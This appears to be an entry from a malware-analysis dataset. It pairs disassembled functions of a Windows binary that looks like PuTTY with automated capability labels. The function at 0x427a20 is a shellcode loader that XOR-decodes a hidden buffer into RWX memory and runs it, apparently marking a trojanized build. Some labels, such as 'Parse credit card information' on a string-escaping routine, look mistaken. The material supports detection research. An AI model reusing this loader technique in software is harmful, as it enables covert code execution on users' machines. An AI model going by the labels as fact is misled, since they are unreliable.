joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40d510
Capabilities:
Encode data using base64

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [0x4b2740]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [ebp + 8]
xor edx, edx
push edi
mov edi, dword [ebp + 0xc]
nop dword [eax + eax]
mov cl, byte [edx + esi]
lea eax, [ecx - 0x41]
cmp al, 0x19
ja 0x40d542
movsx eax, cl
sub eax, 0x41
jmp 0x40d584
lea eax, [ecx - 0x61]
cmp al, 0x19
ja 0x40d551
movsx eax, cl
sub eax, 0x47
jmp 0x40d584
lea eax, [ecx - 0x30]
cmp al, 9
ja 0x40d560
movsx eax, cl
add eax, 4
jmp 0x40d584
cmp cl, 0x2b
jne 0x40d56c
mov eax, 0x3e
jmp 0x40d584
cmp cl, 0x2f
jne 0x40d578
mov eax, 0x3f
jmp 0x40d584
cmp cl, 0x3d
jne 0x40d601
or eax, 0xffffffff
mov dword [ebp + edx*4 - 0x14], eax
inc edx
cmp edx, 4
jl 0x40d530
mov edx, dword [ebp - 0x14]
cmp edx, 0xffffffff
je 0x40d601
mov esi, dword [ebp - 0x10]
cmp esi, 0xffffffff
je 0x40d601
mov ecx, dword [ebp - 0xc]
mov eax, dword [ebp - 8]
cmp ecx, 0xffffffff
jne 0x40d5b2
cmp eax, ecx
jne 0x40d601
lea ebx, [ecx + 2]
jmp 0x40d5bd
xor ebx, ebx
cmp eax, 0xffffffff
setne bl
add ebx, 2
shl edx, 6
and ecx, 0x3f
or edx, esi
and eax, 0x3f
shl edx, 6
or edx, ecx
shl edx, 6
or edx, eax
mov eax, edx
shr eax, 0x10
mov byte [edi], al
cmp ebx, 1
jbe 0x40d5e6
mov ecx, edx
shr ecx, 8
mov byte [edi + 1], cl
cmp ebx, 2
jbe 0x40d5ee
mov byte [edi + 2], dl
pop edi
pop esi
mov eax, ebx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004343a0
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004343a0
mov esp, ebp
pop ebp
ret

Function at 0x412150
Capabilities:
Get session user name

Disassembly:
push ebp
mov ebp, esp
push 0x34
push dword [ebp + 8]
call fcn.00403150
add esp, 8
cmp byte [eax], 0
je 0x41216e
mov dword [ebp + 8], eax
pop ebp
jmp fcn.0040db60
push 0x35
push dword [ebp + 8]
call fcn.004030f0
add esp, 8
test eax, eax
je 0x412185
pop ebp
jmp fcn.0042da80
xor eax, eax
pop ebp
ret

Function at 0x412450
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call fcn.00426370
add esp, 8
mov dword [ebp + 0x10], eax
pop ebp
jmp fcn.00432260
Function at 0x427a20
Capabilities:
Access peb ldr_data
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2974
call fcn.004348a0
mov eax, dword [0x4b2740]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x2966
lea eax, [ebp - 0x296c]
push str.UUUU
push eax
call fcn.004356f0
mov bl, byte [ebp - 0x296c]
add esp, 0xc
xor bl, 0x90
mov dword [ebp - 0x2970], 0
mov eax, dword fs:[0x30]
nop
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0x14]
mov eax, dword [eax]
mov eax, dword [eax]
mov eax, dword [eax + 0x10]
mov dword [ebp - 0x2970], eax
call fcn.00423a10
push str.VirtualAlloc
push dword [ebp - 0x2970]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 4
push 0x1000
nop
nop
nop
push 0x25a5
push 0
call eax
nop
mov edi, eax
lea eax, [ebp - 0x2974]
push eax
push 0x40
push 0x2965
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea esi, [ebp - 0x296c]
mov ecx, edi
sub esi, edi
mov edx, 0x2965
mov al, byte [esi + ecx]
nop
nop
nop
nop
lea ecx, [ecx + 1]
xor al, bl
mov byte [ecx - 1], al
sub edx, 1
jne 0x427ad0
push str.user32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push str.EnumChildWindows
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0
push edi
push 0
call eax
mov ecx, dword [ebp - 4]
mov eax, 1
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004343a0
mov esp, ebp
pop ebp
ret 0x10

Function at 0x4280e0
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xbc
mov eax, dword [0x4b2740]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push esi
cmp eax, 1
jne 0x428129
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call esi
sub eax, dword [0x4b4a38]
js 0x428115
cmp eax, 0x32
jl 0x428211
push 0
call dword [sym.imp.USER32.dll_MessageBeep]
call esi
mov dword [0x4b4a38], eax
jmp 0x4281f9
cmp eax, 3
jne 0x4281b8
push 0x6c
push dword [0x4b6dfc]
call fcn.00403090
mov ecx, dword [0x4b4a2c]
add esp, 8
mov esi, eax
test ecx, ecx
je 0x428161
push 0x20001
push 0
push dword [esi]
call ecx
test eax, eax
jne 0x4281f9
push dword [esi]
lea eax, [ebp - 0x58]
push str.Unable_to_play_sound_file_n_s_nUsing_default_sound_instead
push eax
call fcn.00408a10
push dword [0x495524]
lea eax, [ebp - 0xbc]
push str._.70s_Sound_Error
push eax
call fcn.00408a10
add esp, 0x18
lea eax, [ebp - 0xbc]
push 0x30
push eax
lea eax, [ebp - 0x58]
push eax
push dword [0x4b6e38]
call dword [sym.imp.USER32.dll_MessageBoxA]
push 1
push 0x66
push dword [0x4b6dfc]
call fcn.00403590
add esp, 0xc
jmp 0x4281f9
cmp eax, 4
jne 0x4281f9
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call esi
sub eax, dword [0x4b4a3c]
js 0x4281d2
cmp eax, 0x32
jl 0x428211
cmp dword [0x4b6d70], 2
jne 0x4281ea
push 0x64
push 0x320
call dword [sym.imp.KERNEL32.dll_Beep]
jmp 0x4281f2
push 0xffffffffffffffff
call dword [sym.imp.USER32.dll_MessageBeep]
call esi
mov dword [0x4b4a3c], eax
mov eax, dword [0x4b6e2c]
cmp dword [eax + 0x134], 0
jne 0x428211
push 2
call fcn.00429260
add esp, 4
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.004343a0
mov esp, ebp
pop ebp
ret
Function at 0x42a130
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
lea eax, [ebp - 4]
push eax
push 0
push dword [0x4b6e38]
push 0x427e60
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esp, ebp
pop ebp
ret

Function at 0x42af00
Capabilities:
Open clipboard
Write clipboard data

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 0x10]
push esi
lea eax, [ebx + 1]
push eax
push 0x2002
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov esi, eax
test esi, esi
je 0x42afa7
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GlobalLock]
mov edi, eax
test edi, edi
je 0x42afa6
push ebx
push dword [ebp + 0xc]
push edi
call fcn.004356f0
add esp, 0xc
mov byte [edi + ebx], 0
push esi
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
mov ebx, dword [ebp + 0x14]
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
test ebx, ebx
jne 0x42af65
push 0
push 1
push 0x8002
push dword [0x4b6e38]
call edi
push dword [0x4b6e38]
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x42af8c
call dword [sym.imp.USER32.dll_EmptyClipboard]
push esi
push 1
call dword [sym.imp.USER32.dll_SetClipboardData]
call dword [sym.imp.USER32.dll_CloseClipboard]
jmp 0x42af93
push esi
call dword [sym.imp.KERNEL32.dll_GlobalFree]
test ebx, ebx
jne 0x42afa6
push ebx
push ebx
push 0x8002
push dword [0x4b6e38]
call edi
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0x42c0f0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push edi
push 0x1034
push 1
call fcn.0040e1f0
mov ecx, dword [ebp + 8]
add esp, 8
mov edi, eax
lea ebx, [edi + 4]
mov dword [ebx], ecx
push 0
push 0
push 0
push 0
mov dword [edi], 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push 0
push 0
push 0
push 0
mov dword [edi + 8], eax
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [edi + 0xc], eax
mov eax, dword [ebp + 0xc]
mov dword [edi + 0x1030], eax
mov eax, dword [ebp + 0x10]
mov dword [edi + 0x20], eax
mov eax, dword [ebp + 0x14]
mov dword [edi + 0x24], eax
mov eax, dword [0x4b4a40]
mov dword [edi + 0x18], 0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0
test eax, eax
jne 0x42c17c
push 0x42be40
call fcn.004213c0
add esp, 4
mov dword [0x4b4a40], eax
push edi
push eax
call fcn.00420550
add esp, 8
lea eax, [ebp - 4]
push eax
push 0
push ebx
push 0x42c1b0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [edi + 0x1c], 1
mov eax, edi
pop edi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x42c360
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push edi
push 0x1034
push 1
call fcn.0040e1f0
mov ecx, dword [ebp + 8]
add esp, 8
mov edi, eax
lea ebx, [edi + 4]
mov dword [ebx], ecx
push 0
push 0
push 0
push 0
mov dword [edi], 1
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push 0
push 0
push 0
push 0
mov dword [edi + 8], eax
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [edi + 0xc], eax
mov eax, dword [ebp + 0x10]
mov dword [edi + 0x20], eax
lea eax, [edi + 0x38]
push eax
mov dword [edi + 0x1c], 0
mov dword [edi + 0x18], 0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0
call fcn.0040d820
mov eax, dword [ebp + 0xc]
add esp, 4
mov dword [edi + 0x48], eax
mov eax, dword [ebp + 0x14]
mov dword [edi + 0x24], eax
mov eax, dword [0x4b4a40]
mov dword [edi + 0x44], 0
test eax, eax
jne 0x42c403
push 0x42be40
call fcn.004213c0
add esp, 4
mov dword [0x4b4a40], eax
push edi
push eax
call fcn.00420550
add esp, 8
lea eax, [ebp - 4]
push eax
push 0
push ebx
push 0x42c430
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov eax, edi
pop edi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x42da80
Capabilities:
Get session user name

Disassembly:
push ebp
mov ebp, esp
push ecx
cmp dword [0x4b526c], 0
push esi
push edi
jne 0x42dadc
push str.secur32.dll
call fcn.0042dbd0
push str.sspicli.dll
mov esi, eax
call fcn.0042dbd0
add esp, 8
test esi, esi
je 0x42dac9
push str.GetUserNameExA
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x4b5268], eax
mov dword [0x4b526c], 1
jmp 0x42dae1
xor eax, eax
mov dword [0x4b526c], 1
mov dword [0x4b5268], eax
jmp 0x42dae1
mov eax, dword [0x4b5268]
test eax, eax
je 0x42db41
lea ecx, [ebp - 4]
mov dword [ebp - 4], 0
push ecx
push 0
push 8
call eax
push 1
push dword [ebp - 4]
call fcn.0040e1f0
add esp, 8
mov esi, eax
lea eax, [ebp - 4]
push eax
push esi
push 8
call dword [0x4b5268]
movzx edi, al
test al, al
je 0x42db38
push 0x40
push esi
call fcn.004355c0
add esp, 8
test eax, eax
je 0x42db8a
mov byte [eax], 0
xor eax, eax
test edi, edi
pop edi
cmovne eax, esi
pop esi
mov esp, ebp
pop ebp
ret
push esi
call fcn.0040e1d0
add esp, 4
mov edi, dword [sym.imp.ADVAPI32.dll_GetUserNameA]
lea eax, [ebp - 4]
push eax
push 0
mov dword [ebp - 4], 0
call edi
test eax, eax
jne 0x42db64
mov eax, 0x100
mov dword [ebp - 4], eax
jmp 0x42db67
mov eax, dword [ebp - 4]
push 1
push eax
call fcn.0040e1f0
add esp, 8
mov esi, eax
lea eax, [ebp - 4]
push eax
push esi
call edi
mov edi, eax
test edi, edi
jne 0x42db8a
push esi
call fcn.0040e1d0
add esp, 4
xor eax, eax
test edi, edi
pop edi
cmovne eax, esi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x42dbd0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [0x4b5278]
push esi
push edi
test ecx, ecx
jne 0x42dc16
mov edi, dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
xor esi, esi
lea eax, [esi + esi*2]
cdq
sub eax, edx
mov esi, eax
sar esi, 1
push 1
add esi, 0x200
push esi
push ecx
call fcn.0040e290
add esp, 0xc
mov dword [0x4b5278], eax
push esi
push eax
call edi
mov ecx, dword [0x4b5278]
cmp eax, esi
jge 0x42dbe7
push 0
push dword [ebp + 8]
push 0x4a33c0
push ecx
call fcn.0040da80
add esp, 0x10
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push esi
mov edi, eax
call fcn.0040e1d0
add esp, 4
mov eax, edi
pop edi
pop esi
pop ebp
ret
Function at 0x430470
Capabilities:
Link many functions at runtime

Disassembly:
cmp dword [0x4b5980], 0
jne 0x43056f
push edi
push str.winspool.drv
call fcn.0042dbd0
push str.spoolss.dll
mov edi, eax
call fcn.0042dbd0
add esp, 8
test edi, edi
je 0x430517
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.EnumPrintersA
push edi
call esi
push str.OpenPrinterA
push edi
mov dword [0x4b5960], eax
call esi
push str.ClosePrinter
push edi
mov dword [0x4b5964], eax
call esi
push str.StartDocPrinterA
push edi
mov dword [0x4b5968], eax
call esi
push str.EndDocPrinter
push edi
mov dword [0x4b596c], eax
call esi
push str.StartPagePrinter
push edi
mov dword [0x4b5970], eax
call esi
push str.EndPagePrinter
push edi
mov dword [0x4b5974], eax
call esi
push str.WritePrinter
push edi
mov dword [0x4b5978], eax
call esi
pop esi
mov dword [0x4b597c], eax
mov dword [0x4b5980], 1
pop edi
ret
xor eax, eax
mov dword [0x4b5960], 0
mov dword [0x4b5964], 0
mov dword [0x4b5968], 0
mov dword [0x4b596c], 0
mov dword [0x4b5970], 0
mov dword [0x4b5974], 0
mov dword [0x4b5978], 0
mov dword [0x4b597c], eax
mov dword [0x4b5980], 1
pop edi
ret
Function at 0x430ca0
Capabilities:
Link many functions at runtime

Disassembly:
cmp dword [0x4b5990], 0
jne 0x430e27
push esi
push str.advapi32.dll
mov dword [0x4b5990], 1
call fcn.0042dbd0
add esp, 4
mov dword [0x4b5998], eax
test eax, eax
je 0x430e1e
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.GetSecurityInfo
push eax
call esi
mov dword [0x4b6d48], eax
test eax, eax
je 0x430e1e
mov eax, dword [0x4b5998]
test eax, eax
je 0x430e14
push str.SetSecurityInfo
push eax
call esi
mov dword [0x4b6d44], eax
test eax, eax
je 0x430e1e
mov eax, dword [0x4b5998]
test eax, eax
je 0x430e01
push str.OpenProcessToken
push eax
call esi
mov dword [0x4b6d58], eax
test eax, eax
je 0x430e1e
mov eax, dword [0x4b5998]
test eax, eax
je 0x430dee
push str.GetTokenInformation
push eax
call esi
mov dword [0x4b6d54], eax
test eax, eax
je 0x430e1e
mov eax, dword [0x4b5998]
test eax, eax
je 0x430ddb
push 0x4a3ee0
push eax
call esi
mov dword [0x4b6d50], eax
test eax, eax
je 0x430e1e
mov eax, dword [0x4b5998]
test eax, eax
je 0x430dc8
push 0x4a3f00
push eax
call esi
mov dword [0x4b6d4c], eax
test eax, eax
je 0x430e1e
mov eax, dword [0x4b5998]
test eax, eax
je 0x430db5
push str.SetEntriesInAclA
push eax
call esi
mov dword [0x4b6d40], eax
test eax, eax
je 0x430e1e
mov eax, 1
mov dword [0x4b5994], eax
pop esi
ret
xor eax, eax
mov dword [0x4b6d40], 0
mov dword [0x4b5994], eax
pop esi
ret
xor eax, eax
mov dword [0x4b6d4c], 0
mov dword [0x4b5994], eax
pop esi
ret
xor eax, eax
mov dword [0x4b6d50], 0
mov dword [0x4b5994], eax
pop esi
ret
xor eax, eax
mov dword [0x4b6d54], 0
mov dword [0x4b5994], eax
pop esi
ret
xor eax, eax
mov dword [0x4b6d58], 0
mov dword [0x4b5994], eax
pop esi
ret
mov dword [0x4b6d44], 0
xor eax, eax
mov dword [0x4b5994], eax
pop esi
ret
mov eax, dword [0x4b5994]
ret
Function at 0x431c40
Capabilities:
Delete registry key

Disassembly:
push ebp
mov ebp, esp
push ecx
lea eax, [ebp - 4]
push eax
push str.SoftwareSimonTathamPuTTYSessions
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x431cae
push esi
push edi
mov edi, dword [ebp + 8]
mov eax, edi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x431c66
sub eax, edx
push 1
lea eax, [eax + eax*2]
inc eax
push eax
call fcn.0040e1f0
mov esi, eax
push esi
push edi
call fcn.00431e90
add esp, 0x10
push esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
push esi
call fcn.0040e1d0
add esp, 4
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push edi
call fcn.0042d160
add esp, 4
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x431ce0
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
lea edi, [eax + eax*2]
push 1
push edi
call fcn.0040e1f0
mov esi, dword [ebp + 8]
add esp, 8
mov ebx, eax
mov edx, dword [esi + 4]
push edi
push ebx
push edx
push dword [esi]
lea ecx, [edx + 1]
mov dword [esi + 4], ecx
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyA]
test eax, eax
jne 0x431d31
push dword [ebp + 0x10]
mov esi, dword [ebp + 0xc]
push esi
push ebx
call fcn.004327f0
push ebx
call fcn.0040e1d0
add esp, 0x10
mov eax, esi
pop edi
pop esi
pop ebx
pop ebp
ret
push ebx
call fcn.0040e1d0
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x431e90
Capabilities:
Parse credit card information

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
push edi
xor edi, edi
mov al, byte [esi]
test al, al
je 0x431eff
mov edx, dword [ebp + 0xc]
cmp al, 0x20
je 0x431ec7
cmp al, 0x5c
je 0x431ec7
cmp al, 0x2a
je 0x431ec7
cmp al, 0x3f
je 0x431ec7
cmp al, 0x25
je 0x431ec7
lea ecx, [eax - 0x20]
cmp cl, 0x5e
ja 0x431ec7
cmp al, 0x2e
jne 0x431eea
test edi, edi
jne 0x431eea
mov byte [edx], 0x25
movzx eax, byte [esi]
shr eax, 4
movzx eax, byte [eax + str.0123456789ABCDEFUnable_to_create_registry_key_nHKEY_CURRENT_USER_s]
mov byte [edx + 1], al
add edx, 2
movzx eax, byte [esi]
and eax, 0xf
movzx eax, byte [eax + str.0123456789ABCDEFUnable_to_create_registry_key_nHKEY_CURRENT_USER_s]
inc esi
mov byte [edx], al
inc edx
mov edi, 1
mov al, byte [esi]
test al, al
jne 0x431ea3
pop edi
mov byte [edx], al
pop esi
pop ebp
ret
mov eax, dword [ebp + 0xc]
pop edi
pop esi
mov byte [eax], 0
pop ebp
ret
Function at 0x4322b0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push edi
mov edi, dword [ebp + 8]
test edi, edi
je 0x43232d
lea eax, [ebp - 4]
push eax
push 0
lea eax, [ebp + 8]
push eax
push 0
push dword [ebp + 0xc]
push edi
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x43232d
cmp dword [ebp + 8], 1
jne 0x43232d
mov eax, dword [ebp - 4]
push esi
inc eax
push 1
push eax
call fcn.0040e1f0
add esp, 8
mov esi, eax
lea eax, [ebp - 4]
push eax
push esi
lea eax, [ebp + 8]
push eax
push 0
push dword [ebp + 0xc]
push edi
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x43231c
cmp dword [ebp + 8], 1
jne 0x43231c
mov eax, dword [ebp - 4]
mov byte [esi + eax], 0
mov eax, esi
pop esi
pop edi
mov esp, ebp
pop ebp
ret
push esi
call fcn.0040e1d0
add esp, 4
xor eax, eax
pop esi
pop edi
mov esp, ebp
pop ebp
ret
xor eax, eax
pop edi
mov esp, ebp
pop ebp
ret

Function at 0x432340
Capabilities:
Delete registry key
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x110
mov eax, dword [0x4b2740]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [ebp + 8]
lea eax, [ebp - 0x10c]
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegEnumKeyA]
push 0x105
push eax
push 0
push esi
call edi
test eax, eax
jne 0x4323d3
push ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
nop word [eax + eax]
lea eax, [ebp - 0x110]
push eax
lea eax, [ebp - 0x10c]
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x4323af
push dword [ebp - 0x110]
call fcn.00432340
add esp, 4
push dword [ebp - 0x110]
call ebx
lea eax, [ebp - 0x10c]
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
push 0x105
lea eax, [ebp - 0x10c]
push eax
push 0
push esi
call edi
test eax, eax
je 0x432380
pop ebx
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.004343a0
mov esp, ebp
pop ebp
ret

Function at 0x432410
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push edi
mov edi, dword [ebp + 8]
mov ecx, edi
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x432420
sub ecx, edx
mov edx, dword [ebp + 0x10]
lea esi, [edx + 1]
nop
mov al, byte [edx]
inc edx
test al, al
jne 0x432430
sub edx, esi
push 1
lea eax, [edx + 5]
add eax, ecx
lea eax, [eax + eax*2]
push eax
call fcn.0040e1f0
push dword [ebp + 0x10]
mov esi, eax
push dword [ebp + 0xc]
push edi
push esi
call fcn.00431e10
add esp, 0x18
lea eax, [ebp - 4]
push eax
push str.SoftwareSimonTathamPuTTYSshHostKeys
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
jne 0x4324a5
mov edx, dword [ebp + 0x14]
mov ecx, edx
lea edi, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x432480
sub ecx, edi
lea eax, [ecx + 1]
push eax
push edx
push 1
push 0
push esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push esi
call fcn.0040e1d0
add esp, 4
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x432750
Capabilities:
Check if file exists
Delete file

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jne 0x43279c
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x43278f
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 2
je 0x43278f
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.0042dc90
push eax
push dword [ebp + 8]
push str.Unable_to_delete__s:__s
call fcn.00429e30
add esp, 0x10
mov eax, dword [ebp + 0x10]
mov dword [eax], 0xffffffff
xor eax, eax
pop ebp
ret
xor eax, eax
mov edx, 0x80
push 0
cmp ecx, 2
cmove eax, edx
push eax
xor eax, eax
cmp ecx, 2
setne al
xor edx, edx
add eax, 2
cmp ecx, 2
push eax
push 0
mov eax, 3
cmove eax, edx
mov edx, 0x40000000
push eax
mov eax, 0x80000000
cmove eax, edx
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ecx, dword [ebp + 0x10]
mov edx, eax
xor eax, eax
cmp edx, 0xffffffff
setne al
mov dword [ecx], edx
pop ebp
ret
Function at 0x435162
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x4351a1
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x4351a1
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x4351a1
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x4351a1
cmp dword [ecx + 0x74], 0xe
jbe 0x4351a1
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x46f348
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x46f387
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x46f387
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x46f387
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x46f387
cmp dword [ecx + 0x74], 0xe
jbe 0x46f387
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x479162
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x4aa144
push 0x4aa13c
push str.FlsAlloc
push 0x1f
call fcn.00478e2f
mov esi, eax
add esp, 0x10
test esi, esi
je 0x479196
push dword [ebp + 8]
mov ecx, esi
call dword [0x49545c]
call esi
jmp 0x47919c
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x4791e0
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x4aa154
push 0x4aa14c
push str.FlsGetValue
push 0x21
call fcn.00478e2f
mov esi, eax
add esp, 0x10
test esi, esi
je 0x479217
push dword [ebp + 8]
mov ecx, esi
call dword [0x49545c]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x47921f
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push str.am_pm
push 0x4aa154
push str.FlsSetValue
push 0x22
call fcn.00478e2f
mov esi, eax
add esp, 0x10
test esi, esi
je 0x479259
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x49545c]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x47dcf8
Capabilities:
Print debug messages

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0047dbcc